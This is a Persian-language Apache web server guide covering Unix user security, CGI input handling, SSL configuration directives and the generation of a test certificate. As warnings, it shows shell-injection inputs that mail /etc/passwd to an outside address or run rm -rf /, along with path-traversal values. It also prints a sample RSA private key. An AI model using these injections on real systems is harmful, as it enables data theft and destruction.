 عمل پاسخگو   كه در برابر  انجام شود    توسط كاربري    ايده اصلي در امنيت يونيكس آن است كه هر عمل         
كـاربران  . براي استفاده از كامپيوتر بايد ابتدا احراز هويت شده و براي كامپيوتر شناخته شـده باشـد                . باشد

در ابتداي ورود هر كاربر به يك گروه از كـاربران           . اثبات مي كنند   25يك گذرواژه ارائه  خودشان را با    هويت  
كاربر بايـد ثبـت   يك سيستم واقعاً امن هر عمل در . مجوزهاي امنيتي مشابهي دارند منتسب مي شوند     كه  
در نتيجه هر كاربر تنها مـي توانـد         . امنيتي است يك گروه   ي هم متعلق به     ا  هر برنامه و هر فايل داده     . شود

ي كه در اختيار گروه امنيتي وي مي باشد اجرا نمايد و برنامه نيز تنها بـه فايلهـايي كـه در اختيـار                        ا  برنامه
  .  دسترسي پيدا كندگروه است مي تواند

.  و هر چيزي را تغيير دهد      دسترسي داشته باشد  البته بايد فردي وجود داشته باشد كه بتواند به هر جا            
 شناسه كاربري   ااست كه ب   26اين فرد همان ابركاربر   . تواند در ابتدا برپا شود     در غير اين صورت سيستم نمي     

root        و البته اين بدست آوردن اين شناسـه  . معرفي مي كندخود را به سيستم   و با ارائه يك گذرواژه سرّي 
  . است كه با استفاده از اختيارات آن به هر چيزي دسترسي پيدا كنندمهاجمانهدف بسياري از 

  كاربران داخلي و خارجي 9-1
توانايي هاي كاربر را به يك سـري  ، Unixهمانطور كه قبلاً گفتيم، بيشتر سيستم عاملهاي جدي مانند        

 در اينجا به جزئيات كاري نداريم ولي در حالت كلي دو دسته كاربر              .صوص محدود مي كنند   عملهاي به خ  
  .داخلي و خارجي: نسبت به كارگزار وب وجود دارند

                                                 
25 Password 
26 Superuser 
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يا كاربراني كه دسترسي به     (كاربران داخلي آنهايي هستند كه درون سازمان مالك كارگزار وب هستند            
البته اين كاربران ممكن است در سطوح مختلف دسترسـي          ). كارگزار براي بهنگام كردن محتواي آن دارند      

كـاربران  (هـا اسـت       باشند ولي مي خواهيم تفاوت بين كاربراني كه فقط دسترسي آنها در حد مرور صفحه              
  .و كاربراني كه اجازه سطح بالاتري دارند، را مشخص كنيم) خارجي

يم ولي درباره كاربران خارجي بايد با دقـت         براي هر دو دسته كاربران بايد امنيت را مورد توجه قرار ده           
البته اين بدين معني نيست كه كاربران داخلـي          .د امكان محدود كنيم   حبيشتري برخورد كنيم و آنها را تا        

در برخـي مـوارد آنهـا مـي تواننـد خطرنـاكتر از       . افراد كم خطري هستند و به آنها كاملاً اطمينـان داريـم        
   .كاربران خارجي باشند

ع با اتصال به اينترنت به هر كاربر اينترنتي اجازه مي دهيم به كارگزار ما دسترسـي پيـدا كنـد و        در واق 
اين يك هشدار جـدي     . واهد به عنوان ورودي در صفحه كليد خود براي كارگزار تايپ كند           خ  هر چه كه مي   

. ي داشـته باشـند    ايم دسترس  است و ما مي خواهيم كه كاربران تنها به محدوده كوچكي كه ما تعيين كرده              
  :مستلزم موارد زير استاين خواسته 

 .ايم دسترسي داشته باشند و نه بيشتر هايي كه مشخص كرده ري تنها بايد به فايلها و برنامهكاربران خا •

براي  (MB 1يك صفحه با يك نام به طول هاي زيركانه مانند درخواست  كارگزار نبايد نسبت به حمله •
در نـام صـفحه و غيـره،         / ) يـا    # ،! ماننـد   ( متفرقـه    هاي   يا به همراه نويسه    )سرريز كردن بافر كارگزار   

 راهكـار آپـاچي   . ويسي درست و دقيق قابل پيشگيري هـستند       ن  اين سناريوها با برنامه   . پذير باشد  آسيب
 .هاي ثابت است   براي داده براي جلوگيري از سرريز بافر، استفاده نكردن از بافرهاي با طول ثابت به جز               

 . يگر موارد بايد مورد به مورد و در برخي موارد پس از كشف رخنه امنيتي بررسي كردد

  80 كـه  HTTPاول ايـن كـه درگـاه اسـتاندارد     . متأسفانه يونيكس بر خلاف خواسته ما عمل مي كند
با اين روش مـي خواسـتند       : اين يك دليل تاريخي دارد    ( قابل باز كردن است      rootاست، تنها توسط كاربر     

بنـابراين كـارگزار    . ) دارند ولي قابل اعتماد نيستند نتوانند اين درگاه را باز كننـد            loginاربراني كه امكان    ك
  .27اجرا شود كه اين خطرناك است rootبايد حداقل هنگام آغاز به كار به عنوان 

را اي     غنـي و پيچيـده     دستورهاي مختلفي در يونيكس وجود دارند كه          مشكل ديگر آن است كه پوسته     
تواننـد از آنهـا       اين دستور پر از نكات ريز و ترفندهايي هستند كه افراد متخاصـم مـي              . پشتيباني مي كنند  
  . سوءاستفاده كنند

كـامپيوتر وي   .  به يـك كـاربر بفرسـتيم       HTMLنوان مثال ممكن است بخواهيم فرمي را در قالب          به ع 
 را  Submit فـرم را پـر كـرده و دكمـه            وي. را تفسير كرده و فرم را در صفحه نمايش مـي دهـد            اسكريپت  

  پيوسـت  يها  به همراه داده   را   URLها را به كارگزار مي فرستد كه در واقع يك             ماشين وي داده  . فشرد  مي
 موجـب  URLايـم كـه فرسـتادن ايـن           هنگام برپايي كارگزار، آن را چنـان پيكربنـدي كـرده          . كند   مي ارائه

                                                 
چرا كه در آن نيازي به ابركاربر بودن براي باز كـردن            .  بهتر از يونيكس عمل مي كند      Windowsاين يكي از معدود مواردي است كه         27

  . نيست80درگاه 



  100    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

 محتواي فرم را در يك فايـل بـراي اسـتفاده بعـدي ذخيـره       و اين اسكريپتشود اسكريپتي در كارگزار مي 
  :ممكن است بخشي از اين اسكريپت به اين صورت باشد. كند مي

echo "You have sent the following message: $MESSAGE"  

گري باشـد، ممكـن        اكنون اگر كاربر حيله    .كاربر بفرستد هدف آن است كه ماشين ما يك پيام تأييد به           
  : براي ما بفرستدMESSAGE$ه زير را به عنوان رشتاست 

`mail wolf@lair.com < /etc/passwd` 

تعبيـر مـي شـوند،      كـردن دسـتور     ضميمه  توسط پوسته به عنوان      (`)از آنجا كه كاراكترهاي نقل قول       
يا حتي ممكن اسـت مهـاجم       . شود   مي passwdترين فايل ماشين يعني فايل        باعث فرستاده شدن محرمانه   

  :ر زير را به كارگزار بفرستددستو
`rm -f -r /*` 

  !شود كه باعث نابودي كامل كارگزار مي

  راهكارهاي امنيتي آپاچي  9-2
  :كند  حل ميرا به صورت زيرگفته شده آپاچي سه مساله 

هاي زيادي را از خود ايجـاد مـي           كند، به شبكه وصل شده و كپي        هنگامي كه آپاچي شروع به اجرا مي       •
 مـا   در مثـال   . دهنـد   تر كـاهش مـي      به سرعت سطح كاربري خود را به يك كاربر امن         ها    اين كپي . كند

پردازه اصـلي بـا سـطح        فقط   .است webgroupگروه  از   webuser مورد نظر، كاربر   كاربر   )فصل دوم (
پـردازه اصـلي    . دهند  درخواستهاي شبكه را پاسخ مي    هاي جديد     ماند ولي پردازه     باقي مي  rootكاربري  

هـاي فرزنـد نظـارت دارد و در           دهد و فقط بر عملكرد پردازه       خواستهاي شبكه را پاسخ نمي    هيچ گاه در  
  .دهد يكي را خاتمه مياجراي كند يا در صورت كاهش بار شبكه  صورت نياز فرزند جديدي را ايجاد مي

شوند، ولي اين روش      ميها به دقت بررسي براي وجود كاراكترهاي خطرناك بررسي            خروجي به پوسته   •
بايد مواظب عدم وجـود رخنـه      هم   CGIنويسندگان اسكريپتهاي    .كند  ساله را به طور كامل حل نمي      م

  .باشند

  :براي مثال به اسكريپت ساده زير توجه كنيد
#!/bin/sh 
 
cat /somedir/$1 
 

مي توانيد فرض كنيد از اين اسكريپت براي نشان دادن محتواي فايلي است كـه كـاربر انتخـاب كـرده                     
 برابـر  1$بـارزترين آنهـا وقتـي اسـت كـه مقـدار       . سفانه اين اسـكريپت داراي چنـد خطـا اسـت        متأ. است

"../etc/passwd"         شود كه باعث مي شود كارگزار فايل /etc/passwd  فرض كنيد اين خطا را !  را نشان دهد
ت مـساله ديگـري در كمـين اس ـ       ، آنگـاه    )اي نيست   كه تجربه نشان داده است كه كار ساده       ( برطرف شده   

هر دو نمايش داده خواهند  etc/passwd/و   somedir/xx/، آنگاه  شود"xx   /etc/passwd" برابر 1$مقدار 
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اطمينـان يـافتن از ايـن كـه وروديهـاي           بـه هـر حـال       .  متأسفانه راه حل سريع و كاملي وجود نـدارد         .شد
   .اسكريپت فقط شامل كاراكترهاي مورد نظر است نقطه شروع خيلي خوبي است

 بـراي   CGIهـاي     مهمترين آنها اين است كه آنها اسـكريپت       . بران داخلي مشكلات خودشان را دارند     كار
هـا    مجوزهاي كافي براي اجراي ايـن اسـكريپت  آپاچي، كارگزار  در نصب معمولي    . نويسند  صفحات خود مي  

  . به آن خواهيم پرداخت حل شود كه در فصل ؟ suEXECتواند توسط  اين مورد مي. ندارد

9 -2 -1 SSL با آپاچي v2  
كند و نيازي بـه اعمـال يـك وصـله اضـافي            به طور مستقيم پشتيباني مي     SSLاز  آپاچي از نسخه دوم     

هنگـام مراجعـه   . كنيد دريافت  org.openssl.www://http  از  را OpenSSLالبته براي اين كار بايد      . نيست
  :شويد كه خواندني است ا هشدار زير مواجه ميبا اين سايت ب

PLEASE REMEMBER THAT EXPORT/IMPORT AND/OR USE OF STRONG CRYPTOGRAPHY 
SOFTWARE, PROVIDING CRYPTOGRAPHY HOOKS OR EVEN JUST COMMUNICATING 
TECHNICAL DETAILS ABOUT CRYPTOGRAPHY SOFTWARE IS ILLEGAL IN SOME PARTS OF 
THE WORLD. SO, WHEN YOU IMPORT THIS PACKAGE TO YOUR COUNTRY, RE-
DISTRIBUTE IT FROM THERE OR EVEN JUST EMAIL TECHNICAL SUGGESTIONS OR EVEN 
SOURCE PATCHES TO THE AUTHOR OR OTHER PEOPLE YOU ARE STRONGLY ADVISED TO 
PAY CLOSE ATTENTION TO ANY EXPORT/IMPORT AND/OR USE LAWS WHICH APPLY TO 
YOU. THE AUTHORS OF OPENSSL ARE NOT LIABLE FOR ANY VIOLATIONS YOU MAKE 
HERE. SO BE CAREFUL, IT IS YOUR RESPONSIBILITY.  

  
فايل  usr/src/apache/ در شاخه    . كنيم  گرديم و آن را كاملاً خالي مي        منبع آپاچي برمي  حال به شاخه    

httpd-2_0_28-beta.tar و شاخه httpd-2_0_29 سازيم شاخه را حذف كرده و آن را دوباره مي. مرا داري:  
rm -r httpd-2_0_28 
tar xvf httpd-2_0_28-beta.tar 
cd httpd-2_0_28 

  
  :SSLي ساخت مجدد آپاچي به همراه پشتيباني برا

./configure --with-layout=GNU --enable-ssl --with-ssl=<path to ssl 
source> --prefix=/usr/local 
make 
make install 
 

  .شود  ساخته ميPrefixتحت مسير  binدر زيرشاخه  httpdدر نتيجه فايل اجرايي 
ــل   ــد فاي ــش (FAQچن ــداول  پرس ــاي مت ــخهاه ــد)  و پاس  و html.faq/org.openssl.wwwدر  مفي

html.faq_ssl/ssl/2.0-docs/org.apache.httpdوجود دارد .  

  فايل پيكربندي 1-1- 2- 9
  :يل وجود داردفايل پيكربندي مطابق ذ site.ssl/apache_2…در شاخه 
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User webserv 

Group webserv 

 

LogLevel notice 

LogFormat "%h %l %t \"%r\" %s %b %a %{user-agent}i %U" sidney 

 

#SSLCacheServerPort 1234 

#SSLCacheServerPath /usr/src/apache/apache_1.3.19/src/modules/ssl/gcache 

SSLSessionCache dbm:/usr/src/apache/apache_1.3.19/src/modules/ssl/gcache 

SSLCertificateFile 
/usr/src/apache/apache_1.3.19/SSLconf/conf/new1.cert.cert 

SSLCertificateKeyFile 
/usr/src/apache/apache_1.3.19/SSLconf/conf/privkey.pem 

 

SSLVerifyClient 0 

SSLSessionCacheTimeout 3600 

 

Listen 192.168.123.2:80 

Listen 192.168.123.2:443 

 

<VirtualHost 192.168.123.2:80> 

SSLEngine off 

ServerName www.butterthlies.com 

DocumentRoot /usr/www/APACHE3/site.virtual/htdocs/customers 

ErrorLog /usr/www/APACHE3/site.ssl/apache_2/logs/error_log 

CustomLog /usr/www/APACHE3/site.ssl/apache_2/logs/butterthlies_log sidney 

</VirtualHost> 

 

<VirtualHost 192.168.123.2:443> 

SSLEngine on 

ServerName sales.butterthlies.com 

 

DocumentRoot /usr/www/APACHE3/site.virtual/htdocs/salesmen 

ErrorLog /usr/www/APACHE3/site.ssl/apache_2/logs/error_log 

CustomLog /usr/www/APACHE3/site.ssl/apache_2/logs/butterthlies_log sidney 

 

<Directory /usr/www/APACHE3/site.virtual/htdocs/salesmen> 

AuthType Basic 

AuthName darkness 

AuthUserFile /usr/www/APACHE3/ok_users/sales 

AuthGroupFile /usr/www/APACHE3/ok_users/groups 
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Require group cleaners 

</Directory> 

</VirtualHost> 

 

البتـه در دنيـاي واقعـي       . آور باشـد    مقدار تعدادي از اين ديركتيوها بايد تغيير كند كه شايد كمي ملال           
 بـه   SSLSessionCache تنها مورد عجيب آن است كه اگر .لازم نيست هر روز نسخه آپاچي را تغيير داد

قادر به پيدا كـردن     مقداردهي شود يا كاملاً حذف شود، مرورگر        )  همان پيش فرض است    كه (noneمقدار  
  . كارگزار نخواهد بود

  متغيرهاي محيطي 1-2- 2- 9
 ـ     SSLاين ماجول اطلاعات زيادي درباره        .كنـد   فـراهم مـي    CGI و   SSIمحيطهـاي    راي و وضعيت فعلـي ب

سـازگاري رو بـه عقـب، برخـي     عايـت  البته گفتني است كه براي ر    . اند   ليست شده  1-7متغيرها در جدول    
  .متغيرها با دو نام در دسترس هستند

  
 SSL براي v2متغيرهاي محيطي در آپاچي . 1-7جدول 

Variable Value 
type 

Description 

HTTPS flag  ازHTTPSشود  استفاده مي  
SSL_PROTOCOL string  نسخه پروتكلSSL   (SSL v2, SSL v3, TLS v1) 
SSL_SESSION_ID string The hex-encoded SSL session ID 
SSL_CIPHER string نام رمزنگاري به كار رفته 
SSL_CIPHER_EXPORT string True،اگر رمزنگاري مورد استفاده صادراتي باشد .  
SSL_CIPHER_USEKEYSIZE number تعداد بيتهاي واقعي به كار رفته در رمزنگاري 
SLL_CIPHER_ALGKEYSIZE number تعداد بيتهاي قابل استفاده در رمزنگاري 
SSL_VERSION_INTERFACE string  نسخه برنامهmod_ssl  
SSL_VERSION_LIBRARY string  نسخه برنامهOpenSSL   
SSL_CLIENT_M_VERSION string كارفرما28شماره نسخه گواهي   
SSL_CLIENT_M_SERIAL string شماره سريال گواهي كارفرما  
SSL_CLIENT_S_DN string Subject DN در گواهي كارفرما   
SSL_CLIENT_S_DN_x509 string Component of client's Subject DN, where x509 is a component 

of an X509 DN  
SSL_CLIENT_I_DN string DNييد كنندهĤگواهي كارفرما29 ت   
SSL_CLIENT_I_DN_x509 string Component of client's Issuer DN, where x509 is a component 

of an X509 DN  
SSL_CLIENT_V_START string  زمان شروع(اعتبار گواهي كاربر(  

                                                 
28 Certificate 
29 Issuer  
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SSL_CLIENT_V_END string  زمان پايان(اعتبار گواهي كاربر(  
SSL_CLIENT_A_SIG string  گواهي كارفرماامضاي الگوريتم مورد استفاده در  
SSL_CLIENT_A_KEY string  گواهي كارفرماكليد عمومي الگوريتم مورد استفاده در  
SSL_CLIENT_CERT string  كدگذاري گواهي كارفرما باPEM   
SSL_CLIENT_CERT_CHAINn string كدگذاري شدههاي گواهي  PEMدر زنجيره گواهي كاربر  
SSL_CLIENT_VERIFY string نتيجهNONE, SUCCESS, GENEROUS, or FAILED:   
SSL_SERVER_M_VERSION string  كارگزار  گواهي نسخهشماره  
SSL_SERVER_M_SERIAL string  كارگزار شماره سريال گواهي  
SSL_SERVER_S_DN string Subject DN  كارگزار  در گواهي  
SSL_SERVER_S_DN_x509 string Component of server's Subject DN, where x509 is a component 

of an X509 DN  
SSL_SERVER_I_DN string DN ييد كننده گواهيĤكارگزار  ت  
SSL_SERVER_I_DN_x509 string Component of server's Issuer DN, where x509 is a component 

of an X509 DN  
SSL_SERVER_V_START string  زمان شروع (كارگزار اعتبار گواهي(  
SSL_SERVER_V_END string  پايانزمان  (كارگزار اعتبار گواهي(  
SSL_SERVER_A_SIG string  كارگزار گواهي امضاي الگوريتم مورد استفاده در  
SSL_SERVER_A_KEY string  كارگزار گواهي  كليد عموميالگوريتم مورد استفاده در  
SSL_SERVER_CERT string  با كدگذاري كارگزار گواهي PEM   

  

  زمايشي ساخت يك گواهي آ 2- 2- 9
بـه شـاخه    . بدون در نظر گرفتن نسخه آپاچي مورد استفاده، شما نياز به يك گـواهي آزمايـشي داريـد                 

…/src رفته و دستور زير را وارد كنيد:  
% make certificate 

  :شود از شما درباره هويت و آدرس پرسشهايي مي
ps > /tmp/ssl-rand; date >> /tmp/ssl-rand; RANDFILE=/tmp/ssl-rand /usr/local/ssl/ 

bin/openssl req -config ../SSLconf/conf/ssleay.cnf  -new -x509 -nodes -out ../ 

SSLconf/conf/httpsd.pem  -keyout ../SSLconf/conf/httpsd.pem;  ln -sf httpsd.pem ../ 

SSLconf/conf/'/usr/local/ssl/bin/openssl  x509 -noout -hash < ../SSLconf/conf/httpsd. 

pem'.0;  rm /tmp/ssl-rand 

Using configuration from ../SSLconf/conf/ssleay.cnf 

Generating a 1024 bit RSA private key 

...........++++++ 

..........++++++ 

writing new private key to '../SSLconf/conf/httpsd.pem' 

----- 

You are about to be asked to enter information that will be incorporated 

into your certificate request. 

What you are about to enter is what is called a Distinguished Name or a DN. 

There are quite a few fields but you can leave some blank 
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For some fields there will be a default value, 

If you enter '.', the field will be left blank. 

----- 

Country Name (2 letter code) [GB]:US 

State or Province Name (full name) [Some-State]:Nevada 

Locality Name (eg, city) []:Hopeful City 

Organization Name (eg, company; recommended) []:Butterthlies Inc 

Organizational Unit Name (eg, section) []:Sales 

server name (eg. ssl.domain.tld; required!!!) []:sales.butterthlies.com 

Email Address []:sales@butterthlies.com 

 

دقيـق   تنها موردي كه بايد      . در مثال بالا نشان داده شده است       (bold)وروديهاي شما به صورت پررنگ      
اين كار براي آن است . كارگزار را وارد كنيد   (FQDN)ام كارگزار  است كه بايد نام دامنه كامل          وارد كنيد ن  

بـراي  . كه كاربر بتواند وارسي كند كه آيا اين آدرس مطابق همان آدرسي است كه درخواسـت كـرده بـود                   
ما بايد چيـزي    ش. مراجعه نماييد  SSLConf/conf/…مشاهده نتيجه به شاخه بالا مراجعه كرده و به شاخه           

  : مشاهده نماييدhttpsd.pemدر فايل ) و نه دقيقاً مانند آن( شبيه ذيل 
-----BEGIN RSA PRIVATE KEY----- 

MIICXAIBAAKBgQDBpDjpJQxvcPRdhNOflTOCyQp1Dhg0kBruGAHiwxYYHdlM/z6k 

pi8EJFvvkoYdesTVzM+6iABQbk9fzvnG5apxy8aB+byoKZ575ce2Rg43i3KNTXY+ 

RXUzy/5HIiL0JtX/oCESGKt5W/xd8G/xoKR5Qe0P+1hgjASF2p97NUhtOQIDAQAB 

AoGALIh4DiZXFcoEaP2DLdBCaHGT1hfHuU7q4pbi2CPFkQZMU0jgPz140psKCa7I 

6T6yxfi0TVG5wMWdu4r+Jp/q8ppQ94MUB5oOKSb/Kv2vsZ+T0ZCBnpzt1eia9ypX 

ELTZhngFGkuq7mHNGlMyviIcq6Qct+gxd9omPsd53W0th4ECQQDmyHpqrrtaVlw8 

aGXbTzlXp14Bq5RG9Ro1eibhXId3sHkIKFKDAUEjzkMGzUm7Y7DLbCOD/hdFV6V+ 

pjwCvNgDAkEA1szPPD4eB/tuqCTZ+2nxcR6YqpUkT9FPBAV9Gwe7Svbct0yu/nny 

bpv2fcurWJGI23UIpWScyBEBR/z34El3EwJBALdw8YVtIHT9IlHN9fCt93mKCrov 

JSyF1PBfCRqnTvK/bmUij/ub+qg4YqS8dvghlL0NVumrBdpTgbO69QaEDvsCQDVe 

P6MNH/MFwnGeblZr9SQQ4QeI9LOsIoCySGod2qf+e8pDEDuD2vsmXvDUWKcxyZoV 

Eufc/qMqrnHPZVrhhecCQCsP6nb5Aku2dbhX+TdYQZZDoRE2mkykjWdK+B22C2/4 

C5VTb4CUF7d6ukDVMT2d0/SiAVHBEI2dR8Vw0G7hJPY= 

-----END RSA PRIVATE KEY----- 

-----BEGIN CERTIFICATE----- 

MIICvTCCAiYCAQAwDQYJKoZIhvcNAQEEBQAwgaYxCzAJBgNVBAYTAlVTMQ8wDQYD 

VQQIEwZOZXZhZGExFTATBgNVBAcTDEhvcGVmdWwgQ2l0eTEZMBcGA1UEChMQQnV0 

dGVydGhsaWVzIEluYzEOMAwGA1UECxMFU2FsZXMxHTAbBgNVBAMTFHd3dy5idXR0 

ZXJ0aGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZzYWxlc0BidXR0ZXJ0aGxpZXMu 

Y29tMB4XDTk4MDgyNjExNDUwNFoXDTk4MDkyNTExNDUwNFowgaYxCzAJBgNVBAYT 

AlVTMQ8wDQYDVQQIEwZOZXZhZGExFTATBgNVBAcTDEhvcGVmdWwgQ2l0eTEZMBcG 

A1UEChMQQnV0dGVydGhsaWVzIEluYzEOMAwGA1UECxMFU2FsZXMxHTAbBgNVBAMT 

FHd3dy5idXR0ZXJ0aGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZzYWxlc0BidXR0 

ZXJ0aGxpZXMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBpDjpJQxv 

cPRdhNOflTOCyQp1Dhg0kBruGAHiwxYYHdlM/z6kpi8EJFvvkoYdesTVzM+6iABQ 

bk9fzvnG5apxy8aB+byoKZ575ce2Rg43i3KNTXY+RXUzy/5HIiL0JtX/oCESGKt5 
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W/xd8G/xoKR5Qe0P+1hgjASF2p97NUhtOQIDAQABMA0GCSqGSIb3DQEBBAUAA4GB 

AIrQjOfQTeOHXBS+zcXy9OWpgcfyxI5GQBg6VWlRlhthEtYDSdyNq9hrAT/TGUwd 

Jm/whjGLtD7wPx6c0mR/xsoWWoEVa2hIQJhDlwmnXk1F3M55ZA3Cfg0/qb8smeTx 

7kM1LoxQjZL0bg61Av3WG/TtuGqYshpE09eu77ANLngp 

-----END CERTIFICATE----- 

 
ممكـن  . كرده اسـت اين بيشتر يك گواهي غير معمولي است زيرا كليد خصوصي ما را با گواهي تركيب  

 همچنـين  .قـرار دهيـد   rootجدا كرده و كليد خـصوصي را تنهـا در اختيـار    است شما بخواهيد كه آنها را       
در دنيـاي واقعـي،     . كه البته اين به خاطر آزمايـشي بـودن گـواهي اسـت            گواهي توسط خود ما امضا شده       

  . كنند ميها را امضا و تأييد  هاي معتبر وجود دارند كه گواهي تعدادي سازمان
در هنگـام شـروع بـه كـار آن را            httpsdبدون گذرواژه است، در غير اين صـورت         اين گواهي همچنين    

 به صـورت  كارگزاررسد استفاده از گذرواژه ايده خوبي نباشد، زيرا مانع بالا آمدن             به نظر مي  . ديپرسخواهد  
را  Makefileگذرواژه باشد،   ل يك   خواهيد خودتان يك گواهي بسازيد كه شام        شود ولي اگر مي     خودكار مي 

  را حذف كنيد، و مانند قبل ادامه دهيد        nodes– را پيدا كرده و گزينه       ":certificate"ويرايش كرده، بخش    
يـا  . )را دوبـاره بايـد ويـرايش كنيـد         Makefileرا دوباره اجرا كرديد،      Configurationتوجه كنيد كه اگر     (

 هـا درخواسـت گـواهي    CAتوانـد بـراي هنگـامي كـه از يكـي از       ه ميتوانيد روال زير را دنبال كنيد ك        مي
  : رفته و وارد كنيدSSLConf/conf/…به . كيند مفيد باشد مي

% openssl req -new -outform PEM> new.cert.csr 
... 
writing new private key to 'privkey.pem' 
enter PEM pass phrase: 

  
همچنـين از شـما درخواسـت گـذرواژه         . پرسشها مانند قبل پاسخ دهيد    گذرواژه خود را وارد كرده و به        

 31 در نتيجـه يـك درخواسـت گـواهي امـضا شـده             .بـريم    را به كار مي    "swan" خواهد شد كه ما      30چالشي
(CSR)   ايـن  .شما است كه با كليد خـصوصي شـما رمـز شـده اسـت     و اطلاعات هويتي  كه شامل گذرواژه 

 طبق انتخـاب خودتـان      CAسپس اين درخواست را به يك       .  لازمند زارموارد براي گرفتن يك گواهي كارگ     
  . فرستيد مي

به هر حال اگر بخواهيد گذرواژه را براي راحتي در بالا آمدن آپاچي حذف كنيد، به صـورت زيـر عمـل                      
  :كنيد

% openssl rsa -in privkey.pem -out privkey.pem 

ورت درخواست را به يـك درخواسـت امـضا شـده تبـديل              به هر ص  . ه بايد گذرواژه را نيز وارد كنيد      البت
  :كنيد مي

                                                 
30 Challenge password 
31 Certificate Signing Request 
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% openssl x509 -in new1.cert.csr -out new1.cert.cert -req -signkey  
 privkey.pem 

 

  : كنيدrootهمان طور كه قبلاً گفته شد، بهتر است مجوزهاي دسترسي به اين فايل را محدود به 
chmod  u=r,go= privkey.pem 

  
و يك درخواست امضا شده      (new1.cert.cert)، يك گواهي    (httpsd)ون يك نسخه امن آپاچي      شما اكن 

  . در اختيار داريد(privkey.pem) و يك (new1.cert.csr)گواهي 

 تهيه گواهي كارگزار  3- 2- 9

  :سازمانهاي زير مراجعه نماييدخواهيد يك گواهي معتبر تهيه كنيد، بايد به يكي از  اگر مي
Resellers at http://resellers.tucows.com/products/  

Thawte Consulting, at http://www.thawte.com/certs/server/request.html  

CertiSign Certificadora Digital Ltda., at http://www.certisign.com.br  

IKS GmbH, at http://www.iks-jena.de/produkte/ca/  

BelSign NV/SA, at http://www.belsign.be  

Verisign, Inc. at http://www.verisign.com/guide/apache  

TC TrustCenter (Germany) at 
 http://www.trustcenter.de/html/Produkte/TC_Server/855.htm  

NLsign B.V. at http://www.nlsign.nl  

Deutsches Forschungsnetz at http://www.pca.dfn.de/dfnpca/certify/ssl/  

128i Ltd. (New Zealand) at http://www.128i.com  

Entrust.net Ltd. at http://www.entrust.net/products/index.htm  

Equifax Inc. at http://www.equifax.com/ebusinessid/  

GlobalSign NV/SA at http://www.GlobalSign.net  

NetLock Kft. (Hungary) at http://www.netlock.net  

Certplus SA (France) at http://www.certplus.com  

  .مراجعه نماييد  com.parssign.www://http فزار گستر شريفا امنتوانيد به شركت  البته در ايران مي 

  گاه نهاني نشستهاي سراسري ذخيره 4- 2- 9
SSL           هـا بررسـي      در آغاز اتصال گواهي   . كند   از يك كليد نشست براي امن كردن هر اتصال استفاده مي

بته به علت استفاده از رمزنگاري كليد عمومي ايـن كليـد            ال(شود    ي كليد نشست توافق انجام مي     شده و رو  
كارفرمـا  و   Apache-SSL، بنـابراين    اين يك فرآيند زمـانبر اسـت      ). تنها در اختيار كارگزار و كارفرما است      

متأسفانه از آنجا كه آپاچي از مدل اجرايـي         . توافق كنند توانند براي استفاده مجدد از كليدهاي نشست          مي
قبلـي  از همـان پـردازه   تضميني وجود نـدارد كـه اتـصال بعـدي كارفرمـا      كند،   استفاده مي اي    پردازه-چند

هـاي    كـه بـر اختيـار همـه پـردازه         گاه    بنابراين لازم است كه اطلاعات نشست در يك ذخيره        . استفاده كند 



  108    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

Apache-ssl    ايـن وظيفـه برنامـه        . باشد، ذخيره شـود gcache           اسـت كـه رفتـار آن توسـط ديركتيوهـاي 
SSLCacheServerPath ،SSLCacheServerPort ،SSLSessionCacheTimeout ــاچي  و v1.3 در آپـــ

SSLSessionCache در آپاچي v2  دشو شوند، كنترل مي توضيح داده ميكه بعدا در اين فصل.  

   SSL ديركتيوهاي  5- 2- 9
 لازم هـستند توضـيح      SSL كه براي پيكربنـدي      v2 موجود در آپاچي     SSLدر اين بخش ديركتيوهاي     

  .شوند ده ميدا

SSLRequireSSL   

 

SSLRequireSSL 

Server config, .htaccess, virtual host, directory 

Apache v1.3, v2 

 براي حفاظـت از غيرفعـال شـدن    <Directory>تواند در بخشهاي   دارد و ميSSLاين ديركتيو نياز به     
  .شود اين ديركتيو، دسترسي منع مي با وجود SSL در صورت عدم استفاده از . به كار رودSSLسهوي 

  

SSLSessionCacheTimeout   

 

SSLSessionCacheTimeout time_in_seconds 

Server config, virtual host 

Available in Apache v 1.3, v2 

اين ديركتيـو  . شود شود، كليد نشست توليد مي هنگامي كه براي اولين بار كارفرما به كارگزار متصل مي 
تند تـر هـس     مقادير كمتر امـن   . كند  بر حسب ثانيه بيان مي    گاه نهاني     زمان اعتبار اين كليد در ذخيره     مدت  

بـه دلايـل   . زيرا پس از منقضي شدن كليد، بايد از نو كليدي توليـد شـود  . شوند ولي باعث كندتر شدن مي    
  :سررسيدهاي يك ساعته كاملا امن هستند، به عنوان مثالمتعدد 

SSLSessionCacheTimeout  3600 

 

SSLCACertificatePath   

 

SSLCACertificatePath directory 

Server config, virtual host 

Available in Apache v 1.3, v2 
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ايـن گواهيهـا    . كند  شود را مشخص مي      ها نگهداري مي   CA  هاي  اي كه گواهي    اين ديركتيو مسير شاخه   
  . باشندPEMبايد در قالب 

  

SSLCACertificateFile   

 

SSLCACertificateFile filename 

Server config, virtual host 

Available in Apache v 1.3, v2 

 پذيريـد، از ايـن ديركتيـو بـه جـاي             را مـي   CAهـاي تأييـد شـده از طـرف تنهـا يـك                اگر شما گواهي  
SSLCACertificatePath براي مشخص كردن تنها فايل گواهي استفاده كنيد.   

 هاي مـورد قبـول اسـت را         CAفايلي كه شامل گواهي همه      توان     اين ديركتيو مي   با 2اچي نسخه   در آپ 
  . استPEMفايلهاي مختلف گواهي در قالب  اين فايل به طور ساده الحاق شده .مشخص كرد

SSLCertificateFile   

 

SSLCertificateFile filename 

Config outside <Directory> or <Location> blocks 

Available in Apache v 1.3, v2 

و بـه صـورت      DER32ايـن فايـل بـا فرمـت         . اين ديركتيو فايل حاوي گواهي شما را مشخص مي كنـد          
ASCII شود  اگر فايل با گذرواژه رمز شده باشد، گذرواژه پرسيده مي.كد شده است .  

 ايـن   . باشـد  DSA و يـا     RSAتواند به صورت انتخابي حاوي كليد خصوصي          اين فايل مي   v2در آپاچي   
  . به كار رودDSA و RSAهاي مبتني بر  گواهيتواند دو بار براي مشخص كردن  ميديركتيو 

SSLCertificateKeyFile   

 

SSLCertificateKeyFile filename 

